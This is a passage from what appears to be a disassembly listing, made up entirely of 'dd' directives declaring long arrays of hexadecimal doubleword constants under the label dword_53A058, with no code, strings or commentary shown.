		dd 0D7A852B3h, 4ED440C9h, 1F00C4BEh, 61C5D80Ah,	7CD351h
		dd 0AC592B91h, 9E7731CAh, 2E12A1Ch, 0F39CC843h,	297B5Fh
		dd 0EA19070Dh, 5D450AB4h, 0FC7AC400h, 6F1E7C16h, 0B8C528F3h
		dd 3F1A3CF7h, 0CF3C6600h, 0C1A85F49h, 3AD2DE00h, 0C8FF70F3h
		dd 587B011Bh, 5AB164A3h, 0E8E5E47Ah, 87C4BB00h,	0E13ACB4h
		dd 0B3DD009Dh, 39813EAEh, 3003DBDh, 0C6D952B9h,	2C409387h
		dd 82FEA1h, 0CFBC4772h,	9F003312h, 8C447D1Bh, 0E97304Fh
		dd 314EBFAAh, 675DE440h, 777E490Dh, 0C103D700h,	577DAD16h
		dd 50430040h, 15972CD0h, 3700937Fh, 0C0DE7EB3h,	20566Ah
		dd 0F0A96F48h, 0D7212625h, 2E530900h, 8A1858E1h, 2CC2F64Ah
		dd 39850ACh, 0A76A9F29h, 7563508Fh, 0B100D974h,	0E1328D36h
		dd 0B7807Eh, 0A30A247Dh, 46ECDFE5h, 7F73453Bh, 86A16B00h
		dd 271DFCF8h, 122F03E0h, 0F5D7E459h, 2E20B898h,	1900BBF0h
		dd 88F1C1F3h, 0E073579h, 8953C478h, 66822A40h, 0D00E0EEh
		dd 0FD84899h, 3C16D34h,	286BA514h, 24B04C07h, 0D30088A3h
		dd 0A74B7C01h, 3AA1C836h, 7D80AE9Fh, 15177689h,	0AC00E0AFh
		dd 0A437EA5Fh, 2B57B6Bh, 243451B8h, 80DD8D4Eh, 5F2DEB98h
		dd 41FE0058h, 68C3FC8h,	7E1CFBA3h, 970EA77Dh, 0FF7B40F2h
		dd 39F5BC0Ah, 7F000705h, 0FC441EEFh, 0E5008A86h, 2F76D552h
		dd 1B96599h, 0D358D20Bh, 0D853F9F7h, 80006DC4h,	48978357h
		dd 0F2DE3D77h, 29266065h, 3442C10Bh, 9FCE9003h,	0AA207163h
		dd 24AFC045h, 0E0C8E066h, 0D7D50043h, 0C2A25A59h, 57022D7Bh
		dd 6C0DC910h, 328E60E8h, 7524982Eh, 1FCE003Dh, 50EDB236h
		dd 2178F1C2h, 1A7110Fh,	735B603Ah, 0AECFD3h, 0F27F08D6h
		dd 5760ABEAh, 0A9C57900h, 3CD1D05Fh, 21CD00BCh,	14442FB4h
		dd 0BA768F3Dh, 45608A7Fh, 0BE29DD10h, 0BFCCC0F3h, 5DEB899Dh
		dd 9F37620Ch, 790B844h,	0FCCB43E5h, 886CF09Eh, 50036E3h
		dd 0A4A9F13Ah, 734EEE4h, 2541AD9Ah, 2EF4909Bh, 0A003398h
		dd 0CA36E0A2h, 50891Fh,	257F0CB4h, 0FE0B036Ch, 17E40202h
		dd 0C0C7BDD5h, 1F95AA9h, 0F007AF08h, 0D485CE2Ch, 0D400F506h
		dd 0D7DB7D91h, 0C59526Dh, 4A5E474Eh, 0DE00BFC0h, 0EE1EF595h
		dd 1B6A9F0h, 0D079BD3Bh, 30EA20C0h, 7200C12Fh, 96DE4094h
		dd 778555h, 0B8AB87B3h,	85DEFF4h, 959DA05h, 0BC07E2C4h
		dd 6F101090h, 3E3F56D0h, 0DE50BEDCh, 0AAC50A83h, 8C4E9Eh
		dd 13C14592h, 9870F1A3h, 0B1883214h, 0E9F700F9h, 0F982D9ADh
		dd 631300F3h, 0FC7FEE47h, 9700D702h, 6CCB0BECh,	261A570Dh
		dd 68991Bh, 0DA69FFADh,	0C6488009h, 6A76026Ch, 0C06C4CD0h
		dd 0B41E50h, 39FFA57h, 0A0EBF9D2h, 10E41D28h, 46FE3614h
		dd 80763AE0h, 0AA2571FAh, 7C970ADh, 77B56728h, 0E86B00DCh
		dd 0AC00A6CDh, 0FCBC8C8Dh, 18FBD052h, 40A47CFFh, 567BA89Dh
		dd 0B6037D74h, 0A5FE0B2h, 0C1680077h, 0F23F867h, 6D007370h
		dd 63D4F7B1h, 7F3441h, 4B320356h, 0F87AE3C6h, 0B77FFBE2h
		dd 0B6C759C0h, 1ECE8291h, 0CA0501h, 7CF531B2h, 13039DF7h
		dd 5B6876A8h, 19F49062h, 0C751E56h, 0BBB3C0ECh,	7AB2F84Ch
		dd 0DE4BE0C2h, 0BDE48086h, 6FFEB434h, 801F385Bh, 37D57D69h
		dd 1C0F9361h, 906085F3h, 32173903h, 0A00040BCh,	0FE16ABE9h
		dd 6DD26C78h, 1B60696Eh, 0EAB60004h, 0F7393242h, 4BF3010Eh
		dd 0DC9C0360h, 0B20806Fh, 0EA71E97Fh, 0B7260CBFh, 0BE08BD37h
		dd 2B206367h, 0EC72E920h, 64D6001Ch, 9AA736EAh,	0E6074668h
		dd 0AE0C3709h, 0CB2FEC70h, 49071564h, 0B200EC55h, 74E9CF9Fh
		dd 53711697h, 0FBF7C102h, 8CEA9EC8h, 5132982h, 0AA218AC0h
		dd 1D4A81D5h, 398C4377h, 0C2082100h, 0D9AC391h,	839B0719h
		dd 0B0281D6Dh, 0A14A63CDh, 6042A401h, 49298961h, 8ABF2C50h
		dd 0CDAB1048h, 0BB56C86Ch, 4C906F00h, 85B01C9Ch, 41A1CF19h
		dd 5048E049h, 0D78A04C6h, 319658DBh, 3E007B0Ah,	0D7591C8h
		dd 0D28CE900h, 0C6BF4868h, 0F4665006h, 0C75F2A57h, 849801B8h
		dd 3E99B42Ah, 3618596h,	0ECD7492Dh, 0A27BC683h,	0A4090ECh
		dd 0AA2B0890h, 5A586B05h, 0DC9000EEh, 649E9CBAh, 0F7D8D6Ch
		dd 0A81AD500h, 0FC7718C3h, 28E001Fh, 0CC3D467Ch, 0B21EE278h
		dd 782423EFh, 1E519683h, 50D0E8A7h, 86A1DC9h, 408E1657h
		dd 29F9B35Ch, 272E0980h, 390C72D1h, 18579276h, 0E1779A6Ch
		dd 89AC5F5h, 4665F0F5h,	0D7F2B400h, 2BB52A6Bh, 190F0E96h
		dd 9EC32CC9h, 80404779h, 0A14818BCh, 0E82EC04Ch, 8C34FCB8h
		dd 0B5EBAB00h, 0D9F39A7Ah, 0E84204B8h, 90587778h, 633E849Ch
		dd 467DFE04h, 9485A7FCh, 68F4BC27h, 0C684DA01h,	0A4B04C48h
		dd 0DBD59004h, 653370A8h, 0F8642103h, 8B13428Ah, 0E032C251h
		dd 14B2D86Eh, 0A041F5F9h, 0BBE4819Ch, 0C558068h, 4225888Ch
		dd 59A7E400h, 8419C582h, 954532ABh, 586903A8h, 58B1B21Ah
		dd 96402099h, 4B26AEBCh, 66003EFEh, 21F27CCh, 0E01890B6h
		dd 192800B8h, 8B65A8E7h, 0D93C84E8h, 30B5A612h,	0EC057481h
		dd 9CC402D5h, 62F300EAh, 6E0D738Bh, 0AD008FFAh,	7D2BA13h
		dd 317112E3h, 0F9912E4Bh, 3BC2EC33h, 88FBE600h,	0EF2DB610h
		dd 0FF22046Dh, 0D242A1E4h, 77E005E8h, 2BFC89BAh, 25D7D007h
		dd 6892A6Ah, 15883D5Ch,	0F0D26B57h, 43CC4B0Fh, 55500F63h
		dd 20489EE2h, 0D709FDD4h, 41B793h, 1D1BC0A1h, 98F4E822h
		dd 0A824A360h, 75CAB8h,	87CE6967h, 456C3D4Dh, 0B939FC30h
		dd 0F2289E9h, 0C4C91A9Dh, 916927A0h, 0A512A466h, 5040BF49h
		dd 200956A6h, 0EE58009Eh, 0E905DE15h, 0F00125D1h, 6477460Ah
		dd 89FD7FA7h, 61E25832h, 9F8D30h, 0D733FECEh, 3702091Eh
		dd 71A60F00h, 1795E424h, 0A3E326E7h, 59302138h,	7051856h
		dd 36C00D2Bh, 0EC0049FBh
dword_53A058	dd 0F4F73229h, 6A08F499h, 0E938609Fh, 2421FCBAh, 1F1C6025h
		dd 0FAE858DDh, 3B7C5300h, 0FDED46EEh, 6AD001B0h, 9E0D415Ah
		dd 0CFF8507Bh, 951EE5E1h, 6980CD0Eh, 0E29B14A1h, 0FB8C3D3Ch
		dd 0D1D21E00h, 38500702h, 0DA853A00h, 483C77E4h, 47F8CAh
		dd 0A8DE3F52h, 6C33C63Bh, 198C059h, 7B800671h, 0C988128Fh
		dd 0D5609CF9h, 0FCBFD9h, 0A09ED3CCh, 3CA178FAh,	62C82000h
		dd 5D95E94Bh, 9F190774h, 0C08C7BD4h, 0A9F785C0h, 0DFC9700h
		dd 0E68251A8h, 7BEC002Dh, 7971331Fh, 5402258Ch,	0DD6CC3A7h
		dd 0ECB78102h, 589D295Ah, 0A586CE79h, 88D9B500h, 18C32757h
		dd 0EBA6B8D3h, 1E10F64Ah, 45C51299h, 39D4056Ah,	348CFC50h
		dd 0FB308400h, 1AA6777Fh, 0BBA053Bh, 0BE0798BEh, 7379BC1Bh
		dd 13E8C0h, 0D133936Fh,	0E87B0D2h, 0E5003DECh, 53E48EAAh
		dd 7328C9Eh, 92E644F1h,	55C880E9h, 0C700731Fh, 864C56DAh
		dd 7BAC947h, 0B415CC5Ah, 105CC076h, 3BFA8D40h, 0B558C805h
		dd 8800F79Fh, 3213AA2Ch, 3F8303A6h, 4173A05Bh, 80EE0DA1h
		dd 0CE8EF220h, 2CAD7FC5h, 0EF14D0h, 3100749h, 9F009CDBh
		dd 13D7F40Ch, 6FC305CDh, 0A1E58892h, 29B8433Fh,	0E03F761Ch
		dd 0E1388562h, 0A44703E7h, 0ADC20A79h, 0AB48A0B6h, 10A63F13h
		dd 884A85BBh, 83DF802Bh, 50F7A5CCh, 1D233A02h, 81DDD280h
		dd 78DE5DD0h, 725CF5C4h, 6D1C1462h, 6A00F432h, 0FF3AE44Ch
		dd 873A709Fh, 0A938003Eh, 55CD3161h, 0B891604Fh, 0E8EA4560h
		dd 0C59EEB07h, 40C6766Fh, 0B06803C9h, 43BF6C1Ch, 6182BA80h
		dd 4F37FB74h, 0B2702070h, 0B0134007h, 481A01EFh, 0A7387BCBh
		dd 7720808Bh, 9C728A76h, 0C1490A87h, 91807120h,	0CE819EB3h
		dd 874BB12Bh, 0DC40CA0Ch, 101100F5h, 0D5CD6B7h,	0F61A470Bh
		dd 86D85D15h, 3049BAF9h, 7E08ED30h, 9D37235Eh, 2A56499Ch
		dd 34AE00D1h, 6194D629h, 0C33AFEA5h, 549F05BFh,	4808417h
		dd 18D6E2BAh, 0A040D3B4h, 2009A5Eh, 0C25B3D1Dh,	24D0E8h
		dd 0A08B581h, 656A9654h, 0DD6D1700h, 1EBF8FDBh,	583901EBh
		dd 0CB7402D7h, 0EEC5C8B7h, 0EF00B37Fh, 69D3D9Ch, 1BD7FCBCh
		dd 0C820F777h, 5447FDE0h, 3D4C8601h, 0ADA6C3FBh, 0FCA2D9ECh
		dd 50BD015Bh, 6EAFF716h, 0F4D0587Ah, 0D0600704h, 452CFAEDh
		dd 3A06D600h, 0C05D965Bh, 0FFA24C1h, 3F94A04Ch,	0E2012448h
		dd 0A1926FC4h, 1D202356h, 0D540A341h, 0B6E6F4F3h, 0D3B5017Dh
		dd 306FEEC0h, 824034C7h, 12448507h, 34B0E9BAh, 0E83FA050h
		dd 5D21C0E4h, 0DC7427Eh, 0A84C1400h, 41A24D0Ah,	31290095h
		dd 0B4E9C063h, 4491AAD9h, 0AA607C44h, 0D0107E1Ch, 73B08DBDh
		dd 6F1C07ACh, 0B4819388h, 225164EFh, 4C04C440h,	81D302Ah
		dd 0C95468F9h, 248C3C48h, 1BE540Ah, 4DFC07C6h, 10935E9Ah
		dd 2D1860D7h, 0B1103D06h, 10DF3AABh, 0A5C900DCh, 0A78E7013h
		dd 2417311Ah, 31A46A78h, 56D08260h, 4232660Ch, 0E2AC00B8h
		dd 0F8B4C608h, 99EF6B0h, 0A4EE19D9h, 88C7BC90h,	966B0486h
		dd 0C42D6AB6h, 27BC88B8h, 60B940h, 5ADC95DEh, 1759AABBh
		dd 0BA24892h, 8650EC02h, 58EA498h, 93BF1204h, 7521B5E5h
		dd 0E0370065h, 0FCD6011Ch, 0CE48E1C1h, 0C89FE412h, 73D81115h
		dd 0B2B61F88h, 0BA0460C0h, 206761h, 6B5CFEADh, 34A2E764h
		dd 0D0B41834h, 0D72F3480h, 0E3DA12C6h, 5E3C20B8h, 882C8A7Dh
		dd 0E740645Dh, 2528C6h,	0E4025B01h, 8AA47DEDh, 0F1F830FDh
		dd 78FB400h, 0D00B1777h, 32AA05DCh, 0D4C901h, 0D8CF82B0h
		dd 16790AE8h, 2C55D109h, 482C00D7h, 0DCEE4C66h,	0C7770058h
		dd 0B067812Bh, 2144D898h, 89D36730h, 8E59E083h,	0C7001B7Fh
		dd 0DA0CFF90h, 0CEA855h, 459AD988h, 0A79D8323h,	0D308E400h
		dd 0E591A141h, 671F0035h, 0C07F4718h, 390343EBh, 234D4BAFh
		dd 0C3508195h, 12DB1824h, 2647C5Dh, 8FBF88F0h, 57A88C80h
		dd 7600F4FFh, 0BE7F052Ah, 3E4BD002h, 0B48026D7h, 0CAFE62E3h
		dd 0EB30DD84h, 80AF8EFh, 0BE60C04Ah, 49AD6B8Ch,	4085D601h
		dd 75E5C061h, 2515B03Bh, 0A7E18E0Eh, 86DA2009h,	6515274h
		dd 36B23A98h, 355718A4h, 0BCF804h, 0D89E70C9h, 0B8B90AF8h
		dd 7F88F4A0h, 0C5F9A403h, 0C1ACB94h, 3D459130h,	9DF008D0h
		dd 3607B3E8h, 3EB5CB1Eh, 0E83F9C8h, 32672683h, 0B6296000h
		dd 0B2A378Eh, 784C7B02h, 0BFE505C3h, 421989D9h,	3874830Ch
		dd 13278B22h, 1882B8CAh, 2710306Bh, 0FA0CA08Fh,	2B218424h
		dd 0D1913D04h, 308F2A99h, 0CC58A28h, 0EC48D354h, 0CB718A9h
		dd 0AF7C22CBh, 970C6354h, 0BB18CE50h, 962A7642h, 245F570Ch
		dd 21C2D1C4h, 4841B9B3h, 18427DE0h, 0E70CA597h,	651B1848h
		dd 70C488Ch, 9C306765h,	88E1248Bh, 30842252h, 5B90776Fh
		dd 3910C3B9h, 0CA63042Ch, 1804BEA0h, 7F75147h, 891204h
		dd 2277FB7Dh, 22ED0Eh, 1F886700h, 0D60CA74Fh, 0F42E3700h
		dd 6B2F9FCBh, 0D07005Fh, 0A34E30A1h, 0B016C08h,	0DE718A70h
		dd 2424120Eh, 464A0C5Ah, 0C5A02633h, 98A888EAh,	763056B6h
		dd 0B8671886h, 82370005h, 99C0B0FCh, 0DB817C6h,	0A10FC431h
		dd 0DA257376h, 3E177048h, 581F3B8h, 586A4A0Dh, 3CA88FB2h
		dd 0A096EEEEh, 0A4274B3Eh, 3444141Ch, 0E1AC1C83h, 0B79F0E02h
		dd 447A975Ch, 6C690068h, 0A637B49h, 20304B51h, 0A8655039h
		dd 0C34303C8h, 0BD57B816h, 91105805h, 0A4421B90h, 0C08B7183h
		dd 6A12368h, 3BC507D0h,	9078D89Eh, 782048FCh, 7BEF1732h
		dd 452402A5h, 1480C974h, 42F6F066h, 0B7DFC514h,	808B3834h
		dd 0A14F9238h, 4D958F0h, 9886C2CFh, 0D8DC802Eh,	9B0325EAh
		dd 290A3506h, 779F9021h, 47F7005Ah, 29CFCC8h, 1318D20Eh
		dd 0FFB98373h, 4B7C801Ah, 98BB3C37h, 0B8E7A3F3h, 2833603h
		dd 923A7BB3h, 0C880DC0Ch, 919D576Fh, 0C8871A02h, 403B070Eh
		dd 635B8B00h, 2A67D178h, 81F68010h, 0CB799EE1h,	0E41CAEC9h
		dd 840E05D6h, 8103E19Ah, 0B655E5B0h, 0A7411E8h,	9D105A0Fh
		dd 0E81D81C0h, 8A991849h, 0A56F5D10h, 711B3501h, 0A085CA5Ch
		dd 81849A39h, 0F187BE75h, 0DF1980E8h, 0D6205A3Bh, 0C39330CFh
		dd 37A971F9h, 0D0DFC0C7h, 8F7C3h, 0C9CC5918h, 26C76EC2h
		dd 0B99B900Ch, 0F9303036h, 0FEE845Ch, 5EA288D7h, 0E840A02Dh
		dd 2A036C89h, 0FE6AA61Ch, 7CA8DEE6h, 93A209D4h,	182F3120h
		dd 7C10C589h, 5849F9D9h, 79320094h, 0DCCCA1D2h,	929E0F5Fh
		dd 0F281743Eh, 5598E848h, 42108088h, 3F1D93C3h,	86CA626Dh
		dd 434F84E0h, 0F8DB31F0h, 1A579E8h, 5AFD1666h, 0D89E4F3Ch
		dd 3D00A4F4h, 70D0A0EEh, 1DCBA98h, 8A78279Dh, 40C83B59h
		dd 0C9964B80h, 0BB5EB912h, 70141027h, 0FA07E180h, 0A3FA4Eh
		dd 0DFA53871h, 86741F9Dh, 2008A1C9h, 34E0C298h,	8774CDDh
		dd 0A4D1E18Ch, 5B2C1509h, 2F09F4h, 0F2EA9934h, 2A649098h
		dd 194DDBCh, 93C9E359h,	8CB76C5Bh, 70A760E8h, 8A690F27h
		dd 30757A9Bh, 115A3C0h,	0F48CF33Dh, 0C3D4A09Eh,	1C4F4C76h
		dd 0E96C0902h, 48402FD5h, 0CD308B3Ch, 2A7B307Fh, 10A300ACh
		dd 4C96D511h, 0D42493DFh, 670008C0h, 157FFB22h,	0A3FE077Ch
		dd 99922046h, 6B25DC18h, 0E4A46000h, 30C7D341h,	0B53909E3h
		dd 70A0D45Eh, 0C37AD562h, 25C551C0h, 74FB03E4h,	9012802h
		dd 0C49D26A0h, 39B64010h, 0E5798938h, 0DFE08254h, 80600A3Eh
		dd 6B54AD10h, 0A47E1Ah
		dd 2461B1FBh, 3BDDAFB5h, 48E03A4Ch, 76B2A08Ch, 36F9C71Ch
		dd 0E2200248h, 5CA55045h, 8A300216h, 48AE9E4Ch,	74ECA9A0h
		dd 1BE675F3h, 0CE5B5300h, 42991909h, 186972BBh,	0F0CB4971h
		dd 0DD1D20E3h, 4F8B7EB6h, 1D440078h, 59566486h,	0C0DC48BCh
		dd 90D7FBA8h, 0B6146D6Ah, 82EC260Bh, 0A9CABAFFh, 0E10E2E4h
		dd 1096E6A0h, 0B5760AB1h, 0B0C41C2Fh, 44D03DB8h, 1304A73Ch
		dd 40208C6Ch, 9FEA39Fh,	19A19061h, 0BB0874A1h, 67218150h
		dd 3172E0D5h, 153D060h,	3B71A2FBh, 24515BDFh, 63110820h
		dd 0D0081C46h, 38016FAEh, 0BDBF6006h, 7809A098h, 0E8832FDAh
		dd 51461EAh, 35C0CC8Dh,	1C80400Fh, 89EFF667h, 48C9CA02h
		dd 0C9015682h, 72C451B4h, 51B76F5Ch, 824D3907h,	89128F2h
		dd 8C8A047h, 5FE70F12h,	0D3D0F000h, 23083CBh, 0BF8BC825h
		dd 0C48A973h, 370029A4h, 0BB3EB953h, 74D9F1Bh, 852AEEBEh
		dd 0FE16278Ch, 0B06DDAA0h, 0F85173F4h, 1E2877C0h, 0DF86B1C0h
		dd 21986EBh, 0A5E2230Ah, 64E3E426h, 4340F3C1h, 0CBC81AE4h
		dd 6679AA4h, 6B319C40h,	0CC205B75h, 0CC2F17D3h,	0C12420BAh
		dd 0A103BE3Bh, 380E40Eh, 0E8ABA00Ch, 531909F4h,	2039A970h
		dd 3E822C7h, 6BB78D0h, 1CF8000Dh, 577EAB5Ch, 4F07CF50h
		dd 6E5FD0D6h, 4A46B080h, 82E5003Ch, 0B52D269Eh,	50075621h
		dd 0B737FA9Ch, 76A03AE0h, 0B1F30211h, 0CDB1D54h, 0D89B06C0h
		dd 95B28D0Dh, 0FBF01153h, 443D3CC6h, 6B6EF405h,	3F3020B6h
		dd 7D7F9C59h, 80E99F76h, 62C9191h, 7009DBA7h, 72E11E90h
		dd 7A9EC00Fh, 50F1AD46h, 309D0730h, 0BADB43h, 514DA21Ah
		dd 897A4AD4h, 5D3E280Fh, 1D6020F1h, 544E2D8h, 0D1B668B8h
		dd 0F536C026h, 10FD91Ch, 0EC7D995Ch, 1105104h, 0BAF2745h
		dd 60514B36h, 3AEA017Dh, 9E033E00h, 0EF54A113h,	0B138677Dh
		dd 5D667383h, 6B56C808h, 2619849Ah, 0A25280DBh,	4C02AD7h
		dd 0A01CDE94h, 0AB070021h, 426488B1h, 5518A76Ch, 9C380EC7h
		dd 0F86800EFh, 9BAB3758h, 0DB00E17Dh, 0A76389C2h, 7B21CFDh
		dd 2916DE13h, 23E55DFh,	5AB93944h, 0A1458C01h, 28B582FCh
		dd 70C4BD8h, 8806F2AEh,	0A628908Ch, 0D40E55CAh,	0C15F9A09h
		dd 8040AAC6h, 3B2A42F0h, 121878C0h, 4EF4619Bh, 0B669200h
		dd 0AE074F1Bh, 2AF4F327h, 7C8A0044h, 6C469042h,	0B501873Ch
		dd 0FAA14009h, 10943EF1h, 7BB04F0h, 891FBAAFh, 44F206C0h
		dd 8D3C0316h, 8763AC4Bh, 0DC20FBA9h, 0C073B127h, 0FF39106h
		dd 4229AF6Ch, 0E87F081Fh, 2264084Ch, 11C05E84h,	5F25D302h
		dd 42B24001h, 86057800h, 40708E80h, 51C04713h, 613BA22Fh
		dd 678C0079h, 3F77F143h, 9B00CFFEh, 68FC6933h, 0E65AEEh
		dd 0A1870FD1h, 0D8593E76h, 9102F2E4h, 0D54D67B2h, 0CE31608Ah
		dd 8B4A00BEh, 0A56172DFh, 9E002402h, 8439EFD9h,	7C0947h
		dd 20F83AFCh, 6C54EDA4h, 4C032370h, 0FFD44083h,	0B306F8CBh
		dd 0C3C200F1h, 0E22AEB17h, 7EE9EBDh, 0D8185500h, 0C2AF233Dh
		dd 0EAD60003h, 0AC904860h, 0FC009C9Dh, 0F879477Eh, 2996977h
		dd 0B4502713h, 0C480BAE5h, 0F418989Ah, 467730F0h, 0F6329000h
		dd 0B788204h, 6F5E0050h, 94342308h, 393DB347h, 8385BDB2h
		dd 2EFA4FDCh, 684800B4h, 7E654086h, 81032CB5h, 9FE3725Dh
		dd 34E0000Bh, 12D3E8AAh, 690051EEh, 9B663E7Bh, 2CD4C01Eh
		dd 8F9C38h, 5E7F4229h, 0B13B28C6h, 671480F4h, 0D90286E9h
		dd 1F00092h, 7EEA73DAh,	0DE180E45h, 6B8056C7h, 8882008Ah
		dd 0B78C9EFAh, 4300C99Bh, 0BA4E1505h, 7C048BDFh, 0F7133894h
		dd 1F8FE181h, 8C11F0D9h, 0DC0AD210h, 1AE00029h,	6E646DA1h
		dd 0E80184A7h, 1B51863Ah, 0AA40C8E1h, 75C4C0BFh, 3B8E1227h
		dd 0A9CF0087h, 13987DD1h, 6E141700h, 249630BAh,	90D2001Eh
		dd 0C6764CEh, 4A580305h, 88EB00FFh, 83FD10EEh, 22961643h
		dd 69730059h, 667AD217h, 25ED6707h, 2790F7A3h, 0F1EF345h
		dd 0A1E3E608h, 8D02AD00h, 2B008B15h, 493288C5h,	1F781F62h
		dd 83EC66C4h, 0BAE38953h, 7800AAFBh, 68E2DEA9h,	0EE7CCDh
		dd 7B0CED3Ah, 0B027070Bh, 86F21D00h, 3F5313E2h,	99183D45h
		dd 0FA696F00h, 4EA2AF3Eh, 7605E000h, 202E8480h,	0B4A43F95h
		dd 0B0216E80h, 7AF20351h, 0E5E73400h, 0FF5C93E6h, 14DE009Bh
		dd 5444B016h, 0C80339CCh, 0C6066045h, 181BD069h, 83FF0F7Bh
		dd 0E160AB20h, 0CD161ACAh, 32920B01h, 0B83F2E03h, 23D840E1h
		dd 28981F9Eh, 0C1851D76h, 0E2A76F60h, 19C080D7h, 31C04006h
		dd 0BCC40034h, 0B94627F1h, 0AC00A196h, 0A556421Dh, 75E92A0h
		dd 0D6FC33D5h, 691BF089h, 6F00B051h, 289AA2A8h,	0A6FD1Ah
		dd 0F18E58FFh, 0D7F3BA23h, 9550D400h, 2518EBC9h, 10BC4C88h
		dd 0E65EE700h, 3382A642h, 47D15001h, 0B767B02Fh, 417CC8DFh
		dd 7EDA005Bh, 7B3DB8D8h, 8F0074CAh, 380931B4h, 3A3F3EABh
		dd 0E4A51349h, 0A11759F8h, 0B8A0D303h, 0DABE3951h, 612008B0h
		dd 0CF00F69Eh, 1755DF07h, 39F5473Dh, 300D429h, 0A7641353h
		dd 0B73DF3FEh, 0DD9D81ADh, 8A3D4E2Ch, 369E9B40h, 0C2CC0019h
		dd 3CFCB26Fh, 4100E6CBh, 304FE14Ch, 7DC5FFh, 864DD226h
		dd 977B618Ch, 0A522DB1Dh, 415E1240h, 0A694FDh, 81BE8C1h
		dd 6A402DD7h, 9547D000h, 8A2C9DF1h, 37A400CFh, 78DA521Fh
		dd 593F1DD9h, 0BC4E803Ch, 162A982Bh, 0A4DF003Bh, 0EA27D14Dh
		dd 680FA3CBh, 804B90F2h, 0C9F67522h, 0E9850093h, 0C6F487F1h
		dd 0CE00173Eh, 6D45EB5Ch, 73410Ch, 0B48BD646h, 1371A7F6h
		dd 695E9300h, 49D9A0ACh, 744F0EE6h, 0BF809750h,	23EDCEC1h
		dd 3767A800h, 0EE20AFA6h, 3B8D003Fh, 0BA420596h, 4600EBB2h
		dd 64BBF5EAh, 12F70F99h, 0C22082h, 0AB51A13Eh, 0BBF2EDA3h
		dd 7C00C8F6h, 63CD15A8h, 46BECCh, 2D6579D7h, 0A9B0B73h
		dd 0AC77C800h, 0D43697C9h, 0A9F00143h, 67D66A45h, 0A899FCDAh
		dd 0D35A9212h, 7E559100h, 3A2E327Bh, 584801DEh,	93F54A04h
		dd 80094036h, 0E0DFD568h, 35120742h, 10C77A83h,	15AB4FEFh
		dd 0E8643D00h, 41712516h, 0F1D3037Fh, 0DE91A043h, 3DC8AD8Bh
		dd 82008C1Eh, 8A3C657Ch, 6BEEFBh, 0F72843D0h, 0DF56A86Eh
		dd 58384D00h, 0E8FD1B6Dh, 30870077h, 11C3A127h,	6A1F1981h
		dd 0C64026B8h, 8D7B6704h, 0CE1003B7h, 60C06D2Bh, 2EE20FE8h
		dd 80126B3Bh, 919E1FAFh, 0CBF93Dh, 0B2442667h, 2988F25h
		dd 2A60CD07h, 439099A0h, 7C57BFBh, 6B139CD2h, 0C7B18026h
		dd 0D70151ECh, 669B4E60h, 32FCA2AAh, 525B028h, 0E10388B6h
		dd 5D1F80DDh, 2F00966Ah, 406FBB9Eh, 0C4D65Fh, 4744D972h
		dd 0E7FA0370h, 123E5C07h, 7AB07188h, 0C4E63Ah, 8AFCC1C7h
		dd 450892BEh, 0F7185C00h, 0E20C369Fh, 0A2E4002Ah, 398E74CDh
		dd 0B71FAADEh, 0ED07E1A1h, 19D06EACh, 14377E35h, 0FB93FA36h
		dd 1B91FB00h, 618B1CAFh, 5A7B7200h, 1428BC1Fh, 0A8E2008Eh
		dd 46742E06h, 2A00D5BFh, 6681D639h, 1CFF88Fh, 0E2DCC64Ch
		dd 0CCBB26C5h, 94032012h, 0E080D211h, 48368071h, 836A4C58h
		dd 86D3C700h, 19E41A1Fh, 70C43900h, 932F2621h, 0B79E0F28h
		dd 4860D324h, 0E45599C9h, 9AB4D100h, 973A68F6h,	1D7FEEh
		dd 5B072206h, 2A2C81C1h, 4C994E00h, 0B9CCF1A5h,	0DDBF03F8h
		dd 0B41E1C43h, 49371680h, 870E407h, 319FAA9h, 40DF41h
		dd 61D87A6Eh, 0B21A4B12h
		dd 0B9E4713Dh, 46EE8C6Dh, 3DB76E9h, 371E02A9h, 2DF8AFDFh
		dd 9EE4870Ch, 36E85F1Eh, 0DE7291C0h, 60EDECDAh,	0AB026601h
		dd 1F007066h, 684FC955h, 0E4E43397h, 5F8E0760h,	0D17A9153h
		dd 0E95BCDF2h, 6FAE60C8h, 0F4B2A00h, 0D047FAEh,	9C210F7Eh
		dd 2240DED1h, 7036EE8h,	0EF602B60h, 1695430h, 26B53BE0h
		dd 0FC08C179h, 0D50027DDh, 0A8533274h, 0D7C902h, 0E1559D90h
		dd 8B03418Dh, 0C4F423FEh, 8EB830EAh, 3B9F1800h,	0CEB04295h
		dd 925B0157h, 5F61D701h, 446BC4C0h, 71EB0307h, 7C10ECF2h
		dd 1F2281F7h, 1402E0h, 6C920594h, 553A6B1Fh, 154B00C7h
		dd 5C7DE951h, 8D57003Ah, 0C6BF3456h, 473B95DDh,	4BF5802Bh
		dd 0AD9B3FEFh, 221B00B3h, 68F23A8Eh, 2AE431C2h,	168C2400h
		dd 74518AB2h, 1C761Bh, 28B14A6Ch, 6E05F2CAh, 5C03C900h
		dd 8FF4B78Ah, 85742Ah, 927C2B77h, 2FF61A50h, 0DD73EC00h
		dd 0BA3B0BAEh, 0D379073Dh, 0B1F5EEDCh, 0F04CE99Eh, 0B7501272h
		dd 6B01D988h, 7A0E414Ah, 0E03A142Ch, 0C10084E9h, 507E380Fh
		dd 826BE5h, 44CAAAC6h, 0AC7D5FF8h, 6EA24200h, 4C0745C5h
		dd 88EE00FDh, 4F7BB99Eh, 2007E3Ah, 7C708630h, 0DCF280h
		dd 5CACB554h, 0D21D2A15h, 0F94AD700h, 0E234FBA7h, 9457006Dh
		dd 0D6D46260h, 800ADE0h, 0D9C89D71h, 1A47CEh, 0B3800D7Fh
		dd 3966BB8Eh, 94151F00h, 7D73C9F4h, 1C6B077Eh, 80C47A02h
		dd 27125307h, 67204754h, 0D50D1B0Fh, 8D0E740h, 0E7B16950h
		dd 0AE521F03h, 0DEBC8010h, 55E89048h, 3DDCB5Ch,	0E9FD0BB8h
		dd 70181CCh, 0A79FCh, 0C14BEF0Fh, 0BE475893h, 800BDB0Ah
		dd 9A049AD6h, 0D9C09CEDh, 0B883CDC3h, 630F1E52h, 0DD338081h
		dd 6A38CB49h, 23F79700h, 0FB067A7Fh, 19AEE1Ah, 0DAD526F9h
		dd 0F8E3CD62h, 0F3607B4Ch, 0A6CE3618h, 0DCF51E37h, 0BC38044h
		dd 9DA502C2h, 3B004DB0h, 62FF1AD5h, 23C1ACh, 388F1C33h
		dd 81BEB241h, 7A0460B0h, 0CCD1B3E2h, 2FE12DC0h,	0A0470019h
		dd 3C3B2810h, 0B200B043h, 839BBC5Eh, 3FE03DE8h,	0A300D1CAh
